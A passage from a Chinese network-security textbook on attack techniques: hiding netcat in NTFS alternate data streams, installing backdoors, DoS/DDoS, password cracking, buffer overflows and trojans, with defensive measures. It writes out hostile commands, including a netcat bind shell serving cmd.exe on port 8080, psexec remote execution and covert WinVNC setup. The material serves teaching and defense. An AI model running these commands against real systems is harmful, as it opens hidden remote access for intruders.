如果目标系统使用NTFS文件系统,则攻击者隐藏文件的方法就大不一样。由于NTFS允许单个文件中同时存在多个信息“流”,该文件流机制是“一种不需要重新构建文件系统就能给文件添加必要属性或信息的机制”,不属于安全漏洞。但是,黑客却能利用NTFS的分流(Streaming)特性藏匿“工具箱”文件。例如,把netcat.exe作为信息流隐藏在“winnt\system32\os2”子目录中的某个文件中,以待后续攻击中能使用它。 ① 为了往文件中添加信息流,可利用工具包中的CP程序,在目标文件名前使用冒号指定流即可。例如: c:\>cp nc.exe oso001.009:nc.exe ② 上述命令把nc.exe隐藏在oso001.009文件的nc.exe流中。反之,如果提取nc.exe流,则改写为: c:\>cp oso001.009:nc.exe nc.exe ③ 上述命令又表示反分流出nc.exe。选择oso001.009作为“前端”文件,仅仅因为它相对模糊些。添加文件后,宿主文件的长度不仅没有增加,甚至有时还不改变修改日期,如此的隐藏方法确实难以被发现。清除文件流的方法是: 先把宿主文件复制到一个FAT分区,然后再复制回NTFS分区。藏在宿主文件的文件流不能以oso001.009:nc.exe方式执行,但可以利用start命令执行: Start oso001.009:nc.exe 如上所述,针对NTFS文件流的防范措施只能是利用Foundstone公司开发的Sfind程序发现被隐藏于NTFS文件流中的宿主文件,并尽快清除文件流。 3.2.8创建后门 1. 创建后门基本原理 黑客的最后一招便是在受害系统上创建一些后门及陷阱,以便入侵者一时兴起时卷土重来,并能以特权用户的身份进入系统。创建后门的主要方法有创建具有特权用户权限的虚假用户账号、安装批处理、安装远程控制工具、使用木马程序替换系统程序、安装监控机制及感染启动文件等。黑客常用的工具有rootkit、sub7、cron、at、Windows启动文件夹、Netcat、VNC、BO2K、secadmin、Invisible Keystroke Logger、remove.exe等。 2. Windows系统创建后门 由于Windows系统缺乏远程命令执行机制,一旦攻击者获得管理员权限,入侵和破坏的大门就打开了。下面说明攻击者的攻击意图及其所使用的攻击工具。 (1) 命令行远程控制工具。具有“瑞士军刀”美誉的NetCat工具软件,可以被配置成监听某个特定端口并在有远程系统连接到该端口时启动一个可执行程序。如果触发NetCat监听程序去启动Windows命令行shell,这个shell就会弹回到攻击者的远程系统上。例如,以窃听模式启动NetCat的语法如下: c:\>nc -L -d -e cmd.exe -p 8080 其中,L表示连接多次掉线时仍然坚持监听; d表示NetCat以隐秘方式运行,没有交互式控制台; e表示指定执行的程序(如本例的cmd.exe); p表示指定监听端口(8080)。上面这条命令将向任何一个连接到8080端口的攻击者返回一个远程命令shell,有了shell攻击者就可以为所欲为。 此外,Psexec工具,通过TCP的139号或445号端口访问SMB服务,也是一个不错的选择。以下列出一条典型的命令案例: C:\>psexec \\10.1.1.1 -u Administrator -p password-s cmd.exe 通过psexec执行各种命令要比利用AT命令更加简便。 (2) 图形化远程控制工具。在Windows 2000以上的版本,具有远程控制机制的组件TS(Terminal Services)可以控制远程主机。 另外,还有一些专业的第三方图形化远程控制工具,如AT&T公司开发的优秀工具软件VNC(Virtual Network Computing),通过一条连接控制远程主机。具体过程如下: ① 把VNC的可执行程序和有关文件,如WINVNC.EXE、VNCHooKS.DLL和OMNITHREADRT.DLL等复制到C:\windows\system32下的某个不易被发现的地方。值得注意的是,较新的WINVNC版本会在服务器启动时,在系统托盘增加一个绿色的图标。 ② 复制后需要设置一个VNC口令,以便在服务启动后、接受外来连接前的图形对话框中输入该口令。同时,要求WINVNC监听外来连接,然后将这些设置信息用regini.exe程序添加到远程目标系统的注册表中,代码如下: C:\>rehini -m\\210.42.224.11winvnc.ini HKEY_USER\.DEFAULT\Software\ORL\WinVNC3 SocketConnect = REG_DWORD 0x00000001 Password = REG_BINARY0x000000080x57bf2d2e0x9e6cb06e 上述3行为WINVNC.INI的文件,它取材于一个本地安装,并用Windows RK工具包里的Regdmp程序导出一个文本文件,其中口令为二进制值,对应于secret。 ③ WINVNC安装为一项服务并启动它。 以下是远程系统上的一个命令shell: C:\>winvnc-install C:\>netstartwinvnc The VNC Server service is starting。 The VNC Server service was started successfully。 利用启动的vncviewer程序并连接目标系统,就可以看到目标IP地址210.42.224.11处的0号“display”的截图。随后,远程桌面系统便有可能出现。 3.2.9拒绝服务攻击 如果黑客未能成功地获取了访问权,那么他们所能采取最恶毒的手段便是进行拒绝服务攻击,即用漏洞代码攻击系统使目标服务器资源耗尽或资源过载,以致没有能力再向外提供服务。攻击所采用的技术主要是利用协议漏洞及不同系统实现的漏洞。 什么是攻击?所有试图破坏网络系统的安全性的行为都叫做网络攻击。入侵是成功的攻击。网络攻击的方式分为主动攻击和被动攻击,在1.2节已详细介绍过。网络攻击的目标分为系统型攻击和数据型攻击,其所对应的安全性也涉及系统安全和数据安全两个方面。系统型攻击的特点是: 攻击发生在网络层,破坏系统的可用性,使系统不能正常工作; 但是,这样一来有可能留下明显的攻击痕迹,用户会发现系统不能工作。数据型攻击主要来源于内部,该类攻击的特点是: 攻击发生在应用层,面向信息,主要目的是篡改和窃取信息,这不会留下明显的痕迹。 从攻击和安全的类型分析,可得出一个重要结论: 一个完整的网络安全解决方案不仅能防止系统型攻击,也能阻止数据型攻击; 既能解决系统安全,又能解决数据安全两方面的问题。 综上所述,我们很难确定攻击和入侵的界线,也很难区分远程攻击和本地攻击,这里更难以将所有攻击手段罗列齐全。下面将介绍黑客如何利用安全漏洞实现攻击的常见手段和防御措施。 3.3网 络 攻 击 3.3.1口令攻击与防御 口令攻击是指黑客以口令为攻击目标,破解合法用户的口令,或避开口令验证过程,然后冒充合法用户潜入目标系统,夺取目标系统控制权的过程。如果这个用户有域管理员或root用户权限,黑客就能访问到用户能访问到的任何资源,这是极其危险的。 进行口令攻击的前提是必须先得到该主机上的某个合法用户的账号。获得普通用户账号的方法很简单,利用目标主机的Finger功能查询使用者的信息,或从电子邮件地址收集目标主机的账号,因为很多用户会使用一些习惯性账号,造成账号的泄露。 1. 口令攻击常用手段 口令攻击常用的手段有社会工程学、网络嗅探、口令破解等。 (1) 社会工程学。社会工程学(Social Engineering)是通过人际交往这一非技术手段欺骗的方法来获得口令。例如,“钓鱼”网站吸引用户注册,粗心者往往会泄露或重复使用自己的用户名和口令。 (2) 网络嗅探。网络嗅探就是监听者(如wireshark)可以采用中途截击的方法获取用户的账号和口令,这类方法有一定的局限性,但是危害极大。当前,很多协议根本就没有采取任何加密或身份认证技术,如Telnet、FTP、HTTP、SMTP等传输协议,用户账号和口令信息都是以明文格式传输的,此时若攻击者利用数据包截取工具可以很轻松地收集到用户的账号和口令。wireshark截取到FTP服务的账号administrator和口令china,如图310第163、166行所示。 图310截取的账号和口令 (3) 口令破解。口令破解可以分为在线破解和离线破解两种方式。在线破解就是用程序自动生成口令组合,自动重复尝试登录被攻击主机或系统。这种方法可以用设置重复登录次数限制或在Internet上普遍采用的登录时要求输入验证的方法加以防范。离线破解需要先访问到保存口令信息的文件或数据库,再获取用户的账户名(如电子邮件@前面的部分)利用一些专门软件强行破解用户口令,这种方法不受网段限制,但攻击时要有足够耐心。 离线破解通常有字典攻击和穷举攻击两种方式。 ① 字典攻击。攻击者对所有英文单词进行尝试,程序将按序取出一个又一个的单词,进行一次又一次尝试,直到成功。对于一个有8万个英文单词的集合来说,入侵者不到一分钟就可以试完。如果用户的口令不太长或是用单词,那么很快就会被破译出来。 ② 穷举攻击。如果字典攻击不能成功,攻击者可以采取穷举攻击。一般从长度为1的口令开始,按长度递增进行尝试攻击。由于人们偏爱简单易记的口令,因此穷举攻击的成功率高。如果每0.001s检查一个口令,那么86%的口令可以在一周内破译。 ③ 组合攻击。这种方法结合字典攻击和穷举攻击的特点,先字典攻击,再进行海量连续测试口令的方法进行穷举攻击。 LC5(L0phtcrack)是一个Windows 2000口令审计工具,能根据操作系统中存储的加密哈希计算Windows 2000口令,其功能强大、丰富。它有3种方式破解口令,即词典攻击、穷举攻击和组合攻击。 PWDump7不是一个口令破解程序,它能从SAM数据库中提取口令哈希(Hash)如图311所示,而LC5不能提取口令哈希。Windows 2000使用了SYSkey对口令进行更强的加密,LC5要在Windows 2000下提取口令哈希,必须使用PWDump7。 图311PWDump7提取目标主机口令哈希 2. 口令攻击的防范 防范的办法很简单,只要使自己的口令不在英语字典中,且不可能被别人猜出就可以了。一个好的口令应当至少有7个字符长,不用个人信息(如生日、名字等),口令中要有一些非字母(如数字、标点符号、控制字符等),不能写在纸上或计算机的文件中,选择口令的一个好方法是将两个不相关的词用一个数字或控制字符相连,并截断为8个字符,如口令可以是me2.hk97。 保持口令安全的要点如下: 不要将口令写下来; 不要将口令保存在计算机文件中; 不要选取显而易见的信息作口令; 不要让别人知道; 不要在不同系统上使用同一口令; 定期改变口令,至少6个月要改变一次。 3. Windows口令破解程序 (1) L0phtcrack是一个Windows 2000口令审计工具,能根据操作系统中存储的加密哈希计算Windows 2000口令,其功能非常强大、丰富,是目前市场上最好的Windows 2000口令破解程序之一。它有3种方式可以破解口令,即词典攻击、组合攻击、强行攻击。L0phtcrack有一个美观、易用的GUI,而且利用了Windows 2000的两个实际缺陷,这使得L0phtcrack的速度奇快。 (2) NTSweep使用的方法和其他口令破解程序不同。它不是下载口令并离线破解,而是利用了微软公司允许用户改变口令的机制。NTSweep首先取定一个单词,NTSweep使用这个单词作为账号的原始口令,并试图把用户的口令改为同一个单词。如果主域控制机器返回失败信息,就可知道这不是原来的口令; 反之,如果返回成功信息,就说明这一定是账号的口令。因为成功地把口令改成原来的值,用户永远不会知道口令曾经被人修改过。 (3) PWDump7不是一个口令破解程序,但是它能用来从SAM数据库中提取哈希口令。L0phtcrack已经内建了这个特征,但PWDump7还是很有用的。首先,它是一个小型、易用的命令行工具,能提取哈希口令; 其次,目前很多情况下L0phtcrack的版本不能提取哈希口令。例如,SYSTEM是一个能在NT下运行的程序,为SAM数据库提供了很强的加密功能,如果SYSTEM在使用,L0phtcrack就无法提取哈希口令,但是PWDump7还能使用; 而且要想在Windows 2000下提取哈希口令,则必须使用PWDump7,因为系统使用了更强的加密模式来保护信息。 3.3.2拒绝服务攻击 拒绝服务攻击(DoS)行动使网站服务器充斥大量要求回复的信息,消耗网络带宽或系统资源,导致网络或系统不胜负荷直至瘫痪而停止正常的网络服务。 1. 拒绝服务攻防概述 “拒绝服务”的一种攻击方式为: 传送众多要求确认的信息到服务器,使服务器里充斥着这种无用的信息。所有的信息都有需要回复的虚假地址,以至于当服务器试图回传时,却无法找到用户。服务器于是暂时等候,有时要超过1min,然后再切断连接。服务器切断连接时,黑客再度传送新一批需要确认的信息,这个过程周而复始,最终导致服务器瘫痪。 最常遭受拒绝服务攻击的目标包括路由器、数据库、Web服务器、FTP服务器以及与协议相关的网络服务(如DNS、WINS和SMB)。 2. 拒绝服务模式分类 拒绝服务攻击有很多种分类方法,按照入侵方式,拒绝服务可以分为资源消耗型DoS攻击、配置修改型DoS攻击、物理破坏型DoS攻击和服务利用型DoS攻击。 (1) 资源消耗型DoS攻击。资源消耗型拒绝服务是指入侵者试图消耗目标的合法资源,如网络带宽、内存、硬盘空间和CPU利用率,从而得到拒绝服务的目的。 (2) 配置修改型DoS攻击。计算机配置不当可能造成系统运行不正常甚至根本不能运行。入侵者通过修改或者破坏系统的配置信息来阻止其他合法用户使用计算机和网络提供的服务,主要有改变路由信息、修改Windows注册表、修改Linux的各种配置文件等几种。 (3) 物理破坏型DoS攻击。物理破坏型拒绝服务主要针对物理设备的安全,入侵者可以通过破坏或改变网络部件以实现拒绝服务。 (4) 服务利用型DoS攻击。利用入侵目标的自身资源实现入侵意图,由于被入侵系统具有漏洞和通信协议的弱点,这给入侵者提供了机会。入侵者利用TCP/IP及目标责任系统自身应用软件中的一些漏洞和弱点得到拒绝服务的目的。例如,投入使用的Web服务器有这样一个错误: 当出现特定的错误时会显示一个消息框,黑客可以利用这一缺陷向用户的计算机发送数目较少的请求,使该消息框显示出来。这会锁定所有的线程请求,因此有效阻止了其他人的访问请求。在TCP/IP堆栈中存在很多漏洞,如允许碎片包、大数据包、IP路由选择、半公开TCP连接和数据包Flood等都能使系统崩溃。 3. 分布式拒绝服务攻击 分布式拒绝服务攻击(Distributed DoS,DDoS)是目前黑客经常采用而难以防范的攻击手段。这里着重描述黑客是如何组织并发起DDoS攻击的,并结合其中的Syn Flood实例,使读者可以对DDoS攻击有一个更形象的了解。 (1) DDoS攻击概念。最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务响应。DDoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。单一的DoS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者网络带宽小等各项性能指标不高时它的效果是明显的。随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DoS攻击的困难程度加大了。例如,目标对恶意攻击包的“消化能力”加强了不少,攻击软件每秒钟可以发送3000个攻击包,但用户的主机与网络带宽每秒钟可以处理10000个攻击包,这样一来攻击就不会产生什么效果。 当理解了DoS攻击,其原理就很简单了。如果说计算机与网络的处理能力加大了10倍,用一台攻击机来攻击不再能起作用的话,攻击者使用10台攻击机同时攻击呢?用100台呢?DDoS就是利用更多的傀儡机(肉鸡)来发起进攻,采用比从前更大的规模来进攻受害者。 高速广泛连接的网络给大家带来了方便,也为DDoS攻击创造了极为有利的条件。这使得攻击可以从更远的地方或者其他城市发起,攻击者的傀儡机位置可以分布在更大的范围,选择起来更灵活了。这时分布式的拒绝服务攻击手段(DDoS)就应运而生了。 (2) 被DDoS攻击时的现象。被攻击主机上有大量等待的TCP连接,网络中充斥着大量的无用数据包,源地址为假,制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通信,利用受害主机提供的服务或传输协议上的缺陷,反复、高速地发出特定的服务请求,使受害主机无法及时处理所有正常请求,严重时会造成系统死机。 (3) DDoS攻击运行原理。如图312所示,一个比较完善的DDoS攻击体系分成四大部分,先来看一下最重要的第2和第3部分: 它们分别用作控制和实际发起攻击。请注意控制机与攻击机的区别,对第4部分的受害者来说,DDoS的实际攻击包是从第3部分攻击傀儡机上发出的,第2部分的控制机只发布命令而不参与实际的攻击。对第2和第3部分计算机,黑客有控制权或者是部分的控制权,并把相应的DDoS程序上传到这些平台上,这些程序与正常的程序一样运行并等待来自黑客的指令,通常它还会利用各种手段隐藏自己而不易被别人发现。在平时,这些傀儡机器并没有什么异常,只是一旦黑客连接到它们进行控制,并发出指令的时候,攻击傀儡机就成为害人者去发起攻击了。 图312DDoS攻击 为什么黑客不直接去控制攻击傀儡机,而要从控制傀儡机上转一下呢?这就是DDoS攻击难以追查的原因之一。作为攻击者,肯定不愿意被捉到,而攻击者使用的傀儡机越多,他实际上提供给受害者的分析依据就越多。在占领一台机器后,高水平的攻击者会首先做两件事,即考虑如何留好后门、如何清理日志。这就是擦掉脚印,不让自己做的事被别人察觉到。 但是在第3部分攻击傀儡机上清理日志是一项庞大的工程,即使有很好的日志清理工具的帮助,黑客对这个任务也很头痛。这就导致了有些攻击机隐蔽得不干净,通过它上面的线索找到了控制它的上一级计算机,上级的计算机如果是黑客自己的机器,那么他就会被找出来了。但如果这是控制用的傀儡机的话,黑客自身还是安全的。控制傀儡机的数目相对很少,一般一台就可以控制几十台攻击机,清理一台计算机的日志对黑客来讲就轻松多了,这样从控制机再找到黑客的可能性也大大降低。 4. DDoS攻击的防范 到目前为止,进行DDoS攻击的防御还是比较困难的。首先,这种攻击的特点是它利用了TCP/IP协议的漏洞。一位资深的安全专家给了个形象的比喻: DDoS就像有1000个人同时给你家里打电话,这时候你的朋友还打得进来吗? 网管员作为一个企业内部网的管理者,在他维护的网络中有一些服务器需要向外提供WWW服务,因而不可避免地成为DDoS的攻击目标,该如何做呢?可以从主机与网络设备两个角度去考虑。 (1) 主机上的设置。几乎所有的主机平台都有抵御DoS的设置,基本分为以下几种情况: 关闭不必要的服务; 限制同时打开的Syn半连接数目; 缩短Syn半连接的暂停时间; 及时更新系统补丁。 (2) 网络设备上的设置。企业网的网络设备可以从防火墙与路由器上考虑。这两个设备是到外界的接口设备,在进行防DDoS设置的同时,要注意以多大的效率牺牲为代价,这对你来说是否值得。 (3) 防火墙。禁止对主机的非开放服务的访问; 限制同时打开的SYN最大连接数; 限制特定IP地址的访问; 启用防火墙的防DDoS的属性; 严格限制对外开放的服务器的向外访问。 (4) 路由器。以Cisco路由器为例,Cisco快速转发; 使用单播反向路径; 访问控制列表(ACL)过滤; 设置SYN数据包流量速率; 升级版本过低的ISO; 为路由器建立日志服务器。 5. 应用案例 SYN Flood是目前最流行的DDoS攻击手段,早先的DoS手段在向分布式这一阶段发展的时候也经历了浪里淘沙的过程。SYN Flood的攻击效果最好,这应该是众黑客不约而同选择它的原因。 (1) TCP连接的三次握手协议。SYN Flood利用了TCP/IP协议的固有漏洞。面向连接的TCP三次握手是SYN Flood存在的基础。TCP连接的三次握手过程如图313所示。在第一步中,客户端向服务端提出连接请求,这时TCP SYN标志置位。客户端告诉服务端序列号区域合法,需要检查。客户端在TCP报头的序列号区中插入自己的ISN。第二步,服务端收到该TCP分段后,以自己的ISN回应(SYN标志置位),同时确认收到客户端的第一个TCP分段(ACK标志置位)。在第三步中,客户端确认收到服务端的ISN(ACK标志置位)。至此已建立完整的TCP连接,开始全双工模式的数据传输过程。 (2) SYN Flood攻击者对三次握手的利用。如图314所示,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端会再次发送SYN+ACK给客户端,并等待一段时间后丢弃这个未完成的连接,这段时间的长度称为SYN暂停。一般来说,这个时间是分钟的数量级(大约为0.5~2min); 一个用户出现异常导致服务器的一个线程等待1min并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源——数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。如果服务器的TCP/IP栈不够强大,最后的结果是堆栈溢出崩溃,即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求,此时从正常客户的角度看来,服务器失去响应,这种情况称为服务器端受到了SYN Flood攻击(SYN洪水攻击)。 图313TCP三次握手 图314SYN Flood恶意地不完成三次握手 3.3.3缓冲区溢出攻击 缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。缓冲区溢出攻击有多种英文名称,如buffer overflow、buffer overrun、smash the stack、trash the stack、scribble the stack、mangle the stack、memory leak、overrun screw。 1. 缓冲区溢出的原理 通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如,下面程序: void function(char *str) { char buffer[16]; strcpy(buffer,str); } 上面的strcpy()将直接把str中的内容复制到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在像strcpy这样问题的标准函数还有strcat()、sprintf()、vsprintf()、gets()、scanf()等。 当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation Fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其他命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。 缓冲区溢出成为远程攻击的主要手段,其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切: 植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。 2. 缓冲区溢出的漏洞和攻击 缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的代码来获得root权限的shell。为了达到这个目的,攻击者必须达到以下两个目标: 在程序的地址空间里安排适当的代码; 通过适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行。 根据这两个目标来对缓冲区溢出攻击进行分类。 (1) 在程序的地址空间里安排适当的代码。在程序的地址空间里安排适当的代码有两种方法: 植入法; 利用已经存在的代码。 ① 植入法。攻击者向被攻击的程序输入一个字符串,程序会把这个字符串放到缓冲区里。这个字符串包含的资料是可以在这个被攻击的硬件平台上运行的指令序列。在这里,攻击者用被攻击程序的缓冲区来存放攻击代码。缓冲区可以设在任何地方,如堆栈(Stack,自动变量)、堆(Heap,动态分配的内存区)和静态资料区。 ② 利用已经存在的代码。有时,攻击者想要的代码已经在被攻击的程序中了,攻击者所要做的只是对代码传递一些参数而已。例如,攻击代码要求执行“exec(“/bin/sh”)”,而在libc库中的代码执行“exec(arg)”,其中arg是一个指向一个字符串的指针参数,那么攻击者只要把传入的参数指针改为指向“/bin/sh”即可。 (2) 通过适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行。介绍攻击者如何使一个程序的缓冲区溢出,并且执行转移到攻击代码(这个就是“溢出”的由来)的方法。所有的这些方法都是在寻求改变程序的执行流程,使之跳转到攻击代码。最基本的就是溢出一个没有边界检查或者其他弱点的缓冲区,这样就扰乱了程序的正常执行顺序。通过溢出一个缓冲区,攻击者可以用暴力的方法改写相邻的程序空间而直接跳过了系统的检查。 分类的基准是攻击者所寻求的缓冲区溢出的程序空间类型。原则上是可以任意的空间。实际上,许多的缓冲区溢出是用暴力的方法来寻求改变程序指针的。这类程序的不同之处就是程序空间的突破和内存空间的定位不同,主要有3种,即活动记录(Activation records)、函数指针(Function Pointers)、长跳转缓冲区(Longjmp Buffers)。 ① 活动记录。每当一个函数调用发生时,调用者会在堆栈中留下一个活动记录,它包含了函数结束时返回的地址。攻击者通过溢出堆栈中的自动变量,使返回地址指向攻击代码。通过改变程序的返回地址,当函数调用结束时,程序就跳转到攻击者设定的地址,而不是原先的地址。这类的缓冲区溢出被称为堆栈溢出攻击(Stack Smashing Attack),也是目前最常用的缓冲区溢出攻击方式。 ② 函数指针。函数指针可以用来定位任何地址空间,如“void*foo()”声明了一个返回值为void的函数指针变量foo,所以攻击者只需在任何空间内的函数指针附近找到一个能够溢出的缓冲区,然后溢出这个缓冲区来改变函数指针。在某一时刻,当程序通过函数指针调用函数时,程序的流程就按攻击者的意图实现了。它的一个攻击范例就是在Linux系统下的superprobe程序。 ③ 长跳转缓冲区。在C语言中包含了一个简单的检验/恢复系统,称为setjmp/longjmp。意思是在检验点设定setjmp(buffer),用longjmp(buffer)来恢复检验点。然而,如果攻击者能够进入缓冲区的空间,那么longjmp(buffer)实际上是跳转到攻击者的代码。像函数指针一样,longjmp缓冲区能够指向任何地方,所以攻击者所要做的就是找到一个可供溢出的缓冲区。一个典型的例子就是Perl 5.003的缓冲区溢出漏洞; 攻击者首先进入用来恢复缓冲区溢出的longjmp缓冲区,然后诱导进入恢复模式,这样就使Perl的解释器跳转到攻击代码上了。 (3) 对代码安排和控制程序执行流程两种技术的综合分析。最常见的缓冲区溢出攻击类型就是在一个字符串里综合了代码植入和活动记录技术。攻击者定位一个可供溢出的自动变量,然后向程序传递一个很大的字符串,在引发缓冲区溢出、改变活动记录的同时植入了代码。这个是由Levy指出的攻击的模板。C在习惯上只为用户和参数开辟很小的缓冲区,因此这种漏洞攻击的实例十分常见。 代码植入和缓冲区溢出不一定要在一次动作内完成。攻击者可以在一个缓冲区内放置代码,这是不能溢出的缓冲区。然后,攻击者通过溢出另一个缓冲区来转移程序的指针。这种方法一般用来解决可供溢出的缓冲区不够大(不能放下全部的代码)的情况。 如果攻击者试图使用已经常驻的代码而不是从外部植入代码,他们通常必须把代码作为参数调用。举例来说,在libc(几乎所有的C程序都要它来连接)中的部分代码段会执行exec(something),其中something就是参数。攻击者首先使用缓冲区溢出改变程序的参数,然后利用另一个缓冲区溢出使程序指针指向libc中的特定代码段。 3. 缓冲区溢出攻击的防范 缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权。如果能有效地消除缓冲区溢出的漏洞,则很大一部分的安全威胁可以得到缓解。缓冲区溢出攻击的防范主要从操作系统安全和程序设计两方面实施。操作系统安全是最基本的防范措施,其方法简单,只需及时安装系统补丁即可。程序设计方面的措施主要有以下几点。 (1) 强制编写正确的代码。编写正确的代码是一件非常有意义但耗时的工作,特别像编写C语言那种具有容易出错倾向的程序(如字符串的零结尾),这种风格是由于追求性能而忽视正确性的习惯引起的。尽管人们知道了如何编写安全的程序,但具有安全漏洞的程序依旧出现,为此人们开发了一些工具和技术来帮助程序员编写安全正确的程序。例如,用grep搜索源代码中容易产生漏洞的库的调用,如strcpy的sprintf的调用,都没有检查输入参数的长度。 虽然这些工具可以帮助程序员开发更安全的程序,但是由于C语言的特点,这些工具不可能找出所有的缓冲区溢出漏洞。所以,侦错技术只能用来减少缓冲区溢出的可能,并不能完全地消除它。除非程序员能保证他的程序万无一失,否则还是要用到以下部分的内容来保证程序的可靠性。 (2) 非执行的缓冲区。通过使被攻击程序的数据段地址空间不可执行,从而使得攻击者可不能执行被攻击程序输入缓冲区的代码,这种技术称为非执行的缓冲区技术。非执行堆栈的保护可以有效地对付把代码植入自动变量缓冲区的溢出攻击,而对于其他形式的攻击则没有效果,如通过引用一个驻留程序的指针就可以跳过这种保护措施。其他攻击也可以把代码植入堆栈或者静态数据中来跳过保护。 (3) 数组边界检查。植入代码引起缓冲区溢出是一个方面,扰乱程序的执行流程是另一个方面。不像非执行的缓冲区保护,数组边界检查完全防止了缓冲区溢出的产生和攻击。 (4) 程序指针完整性检查。与边界检查略有不同,也与防止指针被改变不同,程序指针完整性检查是在程序指针被引用之前检测到宏观世界的改变。因此,即便一个攻击者成功地改变了程序的指针,由于系统事先检测到了指针的改变,因此这个指针将不会被使用。 与数组边界检查相比,这种方法不能解决所有的缓冲区溢出问题,采用其他缓冲区溢出方法就可以避免这种检查。但是这种方法的性能上有很大的优势,而且兼容性也很好。 4. 应用案例 Windows 2000 WebDAV远程缓冲区溢出漏洞是微软的又一重大漏洞,是通过IIS产生这个漏洞的,但是漏洞本身并不是IIS造成的,而是由于WebDAV使用了ntdll.dll中的一些API函数,而这些函数存在一个缓冲区溢出漏洞,也就是说,很多调用这个API的应用程序都存在这个漏洞。 Windows IIS 5.0是Windows 2000自带的一个网络信息服务器,其中包含HTTP服务功能。IIS5默认提供了对WebDAV的支持,WebDAV(基于Web的分布式协作和改写)是一组对HTTP协议的扩展,它允许用户协作地编辑和管理远程Web服务器上的文件。使用WebDAV,可以通过HTTP向用户提供远程文件存储的服务,包括创建、移动、复制及删除远程服务器上的文件,但是作为普通的HTTP服务器,这个功能不是必需的。 Windows IIS 5.0包含的WebDAV组件不充分检查传递给部分系统组件的数据,远程攻击者利用这个漏洞对WebDAV进行缓冲区溢出攻击,可能以Web进程权限在系统上执行任意指令。 Windows IIS 5.0的WebDAV使用了ntdll.dll中的一些函数,而这些函数存在一个缓冲区溢出漏洞。通过对WebDAV的畸形请求可以触发这个溢出。成功利用这个漏洞可以获得LocalSystem权限。这意味着,入侵者可以获得主机的完全控制能力。 所以确切地说,这个漏洞并不是IIS造成的,而是ntdll.dll里面的一个API函数造成的。也就是说,很多调用这个API函数的应用程序都存在这个漏洞。 (1) 受影响系统。 包括Windows IIS 5.0系统。 ① Microsoft Windows 2000 Server SP3。 ② Microsoft Windows 2000 Professional SP3。 ③ Microsoft Windows 2000 Datacenter Server SP3。 ④ Microsoft Windows 2000 Advanced Server SP3。 (2) 漏洞检测工具。Webdavscan.exe是webdav漏洞专用扫描器,由红客联盟出品。它可以对不同IP段进行扫描,来检测网段的Microsoft IIS 5.0服务器是否提供了对WebDAV的支持,如果结果显示enable,则说明此服务器支持webDAV并可能存在漏洞。webdavx3.exe是isno的针对Windows 2000中文版的溢出工具,不用NC监听端口,溢出成功后直接telnet ip 7788即可。 (3) 解决方法。要避免此漏洞可安装安全补丁。 Solution\Q815021_W2K_sp4_x86_CN.EXE适用于中文Windows 2000。 Solution\Q815021_W2K_sp4_x86_EN.EXE适用于英文Windows 2000。 设置注册表: 双击Solution\webdav.reg导入即可。 3.3.4木马攻击 在介绍木马的原理之前,先介绍一些木马构成的基础知识,因为下面有很多地方会提到这些内容。 一个完整的木马系统由硬件部分、软件部分和具体连接部分组成。 (1) 硬件部分。建立木马连接所必需的硬件实体。控制端: 对服务端进行远程控制的一方。服务端: 被控制端远程控制的一方。Internet: 控制端对服务端进行远程控制,数据传输的网络载体。 (2) 软件部分。实现远程控制所必需的软件程序。控制端程序: 控制端用以远程控制服务端的程序。木马程序: 潜入服务端内部,获取其操作权限的程序。木马配置程序: 设置木马程序的端口号、触发条件、木马名称等使其在服务端藏得更隐蔽的程序。 (3) 具体连接部分。通过Internet在服务端和控制端之间建立一条木马信道所必需的元素。控制端IP、服务端IP: 即控制端、服务端的网络地址,也是木马进行数据传输的目的地。控制端端口、木马端口: 即控制端、服务端的数据入口,通过这个入口数据可直达控制端程序或木马程序。 1. 特洛伊木马攻击原理 使用木马这种黑客工具进行网络入侵,从过程上看大致可分为6步。接下来就按这6步来详细阐述木马的攻击原理。 1) 配置木马 一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方面功能。 (1) 木马伪装。木马配置程序为了在服务端尽可能好地隐藏木马,会采用多种伪装手段,如修改图标、捆绑文件、定制端口、自我销毁等。 (2) 信息反馈。木马配置程序将就信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址、IRC号、ICQ号等。 2) 传播木马 (1) 传播方式。木马的传播方式主要有两种: 一种是通过Email,控制端将木马程序以附件的形式夹在邮件中发送出去,收信人只要打开附件系统就会感染木马; 